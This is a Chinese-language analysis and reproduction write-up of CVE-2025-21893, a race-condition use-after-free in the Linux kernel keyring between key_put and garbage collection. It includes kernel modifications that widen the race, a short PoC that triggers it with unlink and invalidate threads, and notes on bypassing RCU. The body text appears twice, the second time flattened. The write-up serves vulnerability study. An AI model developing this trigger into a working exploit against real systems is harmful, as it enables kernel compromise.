CVE-2025-21893分析与复现
字数 1702 2025-08-30 06:50:12

Linux内核Keyring框架UAF漏洞(CVE-2025-21893)分析与复现

0x00 漏洞概述

CVE-2025-21893是Linux内核keyring框架中的一个use-after-free漏洞,存在于6.13.2版本内核中。该漏洞源于key_put函数与垃圾回收机制(gc)之间的条件竞争,当key引用计数减为0后,gc可能提前释放key对象,而key_put仍会继续操作已释放的内存。

0x01 前置知识

Keyring机制简介

Linux内核的keyring机制提供了一种安全存储和管理加密密钥、身份认证令牌、证书等敏感数据的方式。主要特点包括:

  • 通过系统调用管理密钥:add_keykeyctlrequest_key
  • 密钥类型:user、logon等
  • 默认keyring:
    • 进程Keyring:与进程绑定
    • 线程Keyring:与线程绑定
    • 用户Session Keyring:与用户会话绑定
    • User Keyring:用户专属
    • Group Keyring:用户组共享

关键系统调用

add_key

向指定keyring添加新密钥:

int add_key(const char *type, const char *description,
           const void *payload, size_t plen,
           key_serial_t keyring);

keyctl

提供多种密钥管理功能:

long keyctl(int cmd, unsigned long arg2, unsigned long arg3,
           unsigned long arg4, unsigned long arg5);

常用命令:

  • KEYCTL_GET_KEYRING_ID
  • KEYCTL_JOIN_SESSION_KEYRING
  • KEYCTL_REVOKE
  • KEYCTL_DESCRIBE
  • KEYCTL_CLEAR
  • KEYCTL_LINK
  • KEYCTL_UNLINK
  • KEYCTL_INVALIDATE
  • KEYCTL_SEARCH
  • KEYCTL_READ
  • KEYCTL_INSTANTIATE

request_key

查找或请求密钥:

key_serial_t request_key(const char *type, const char *description,
                        const char *callout_info,
                        key_serial_t keyring);

Keyring垃圾回收(GC)

位于security/keys/gc.c,当执行以下操作时会触发GC:

  • keyctl_invalidate
  • key_put

GC通过schedule_work(&key_gc_work)调用key_garbage_collector进行释放操作。

0x02 漏洞分析

漏洞根源

漏洞出现在key_put函数中:

  1. key->usage引用计数减1
  2. 如果引用计数减为0:
    • 检查KEY_FLAG_IN_QUOTA标志
    • 执行相关操作
    • 调用schedule_work(&key_gc_work)触发GC

问题在于:

  • GC通过检查key->usage == 0来判断是否释放key
  • key_put在减引用后还会操作key对象
  • 如果GC在key_put操作key前释放了它,就会导致UAF

修复方式

修复commit将:

  • GC的判断条件从key->usage == 0改为检查key->flags
  • key_put完成所有操作后才设置相关flags

关键调用链

  1. keyctl_invalidate触发GC:

    keyctl_invalidate -> key_invalidate -> key_schedule_gc -> schedule_work(&key_gc_work)
    
  2. keyctl_unlink触发key_put

    keyctl_unlink -> key_unlink -> __key_unlink_begin (创建edit)
                 -> __key_unlink -> assoc_array_apply_edit
                 -> call_rcu -> keyring_free_object -> key_put
    

0x03 漏洞复现

复现环境修改

由于漏洞触发条件极其苛刻,需要对内核进行3处修改以降低竞争难度:

  1. 修改key_put函数:
__attribute__((optimize("O0"))) 
void key_put(struct key *key) {
    // 原有减引用逻辑
    for (int i = 0; i < 0x100000; i++); // 大循环延迟
    // 后续操作
}
  1. 修改key_garbage_collector函数:
__attribute__((optimize("O0"))) 
void key_garbage_collector(struct work_struct *work) {
    for (int i = 0; i < 0x100; i++); // 小循环延迟
    // 原有GC逻辑
}
  1. key_ref_put前添加synchronize_rcu
synchronize_rcu();
key_ref_put(key_ref);

POC代码框架

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
#include <pthread.h>
#include <unistd.h>

void *invalidate_thread(void *arg) {
    key_serial_t key = (key_serial_t)arg;
    keyctl_invalidate(key);
    return NULL;
}

int main() {
    // 创建keyring
    key_serial_t ring = add_key("keyring", "testring", NULL, 0, KEY_SPEC_PROCESS_KEYRING);
    
    // 添加key
    key_serial_t key = add_key("user", "testkey", "payload", 7, ring);
    
    pthread_t tid;
    pthread_create(&tid, NULL, invalidate_thread, (void *)key);
    
    // 从keyring中移除key
    keyctl_unlink(key, ring);
    
    pthread_join(tid, NULL);
    return 0;
}

0x04 漏洞利用思路

  1. 利用条件竞争:

    • 线程1:通过keyctl_unlink触发key_put
    • 线程2:通过keyctl_invalidate触发GC
    • 精确控制时机使GC在key_put操作key前释放它
  2. 绕过RCU保护:

    • 原始漏洞被RCU机制部分缓解
    • 可能的绕过方式:
      • call_rcu执行完key_put后再调用key_ref_put
      • 使用其他对key进行操作的函数

0x05 总结

该漏洞的核心问题在于:

  • GC错误地将引用计数为0作为释放条件
  • 在减引用后仍操作即将释放的指针
  • 异步操作缺乏适当的同步机制

这种异步操作导致的条件竞争问题是一个值得深入研究的攻击面,可能在其他类似场景中也会出现。

Linux内核Keyring框架UAF漏洞(CVE-2025-21893)分析与复现 0x00 漏洞概述 CVE-2025-21893是Linux内核keyring框架中的一个use-after-free漏洞,存在于6.13.2版本内核中。该漏洞源于key_ put函数与垃圾回收机制(gc)之间的条件竞争,当key引用计数减为0后,gc可能提前释放key对象,而key_ put仍会继续操作已释放的内存。 0x01 前置知识 Keyring机制简介 Linux内核的keyring机制提供了一种安全存储和管理加密密钥、身份认证令牌、证书等敏感数据的方式。主要特点包括: 通过系统调用管理密钥: add_key 、 keyctl 、 request_key 密钥类型:user、logon等 默认keyring: 进程Keyring:与进程绑定 线程Keyring:与线程绑定 用户Session Keyring:与用户会话绑定 User Keyring:用户专属 Group Keyring:用户组共享 关键系统调用 add_ key 向指定keyring添加新密钥: keyctl 提供多种密钥管理功能: 常用命令: KEYCTL_ GET_ KEYRING_ ID KEYCTL_ JOIN_ SESSION_ KEYRING KEYCTL_ REVOKE KEYCTL_ DESCRIBE KEYCTL_ CLEAR KEYCTL_ LINK KEYCTL_ UNLINK KEYCTL_ INVALIDATE KEYCTL_ SEARCH KEYCTL_ READ KEYCTL_ INSTANTIATE request_ key 查找或请求密钥: Keyring垃圾回收(GC) 位于 security/keys/gc.c ,当执行以下操作时会触发GC: keyctl_ invalidate key_ put GC通过 schedule_work(&key_gc_work) 调用 key_garbage_collector 进行释放操作。 0x02 漏洞分析 漏洞根源 漏洞出现在 key_put 函数中: 将 key->usage 引用计数减1 如果引用计数减为0: 检查 KEY_FLAG_IN_QUOTA 标志 执行相关操作 调用 schedule_work(&key_gc_work) 触发GC 问题在于: GC通过检查 key->usage == 0 来判断是否释放key 但 key_put 在减引用后还会操作key对象 如果GC在 key_put 操作key前释放了它,就会导致UAF 修复方式 修复commit将: GC的判断条件从 key->usage == 0 改为检查 key->flags 在 key_put 完成所有操作后才设置相关flags 关键调用链 keyctl_invalidate 触发GC: keyctl_unlink 触发 key_put : 0x03 漏洞复现 复现环境修改 由于漏洞触发条件极其苛刻,需要对内核进行3处修改以降低竞争难度: 修改 key_put 函数: 修改 key_garbage_collector 函数: 在 key_ref_put 前添加 synchronize_rcu : POC代码框架 0x04 漏洞利用思路 利用条件竞争: 线程1:通过 keyctl_unlink 触发 key_put 线程2:通过 keyctl_invalidate 触发GC 精确控制时机使GC在 key_put 操作key前释放它 绕过RCU保护: 原始漏洞被RCU机制部分缓解 可能的绕过方式: 在 call_rcu 执行完 key_put 后再调用 key_ref_put 使用其他对key进行操作的函数 0x05 总结 该漏洞的核心问题在于: GC错误地将引用计数为0作为释放条件 在减引用后仍操作即将释放的指针 异步操作缺乏适当的同步机制 这种异步操作导致的条件竞争问题是一个值得深入研究的攻击面,可能在其他类似场景中也会出现。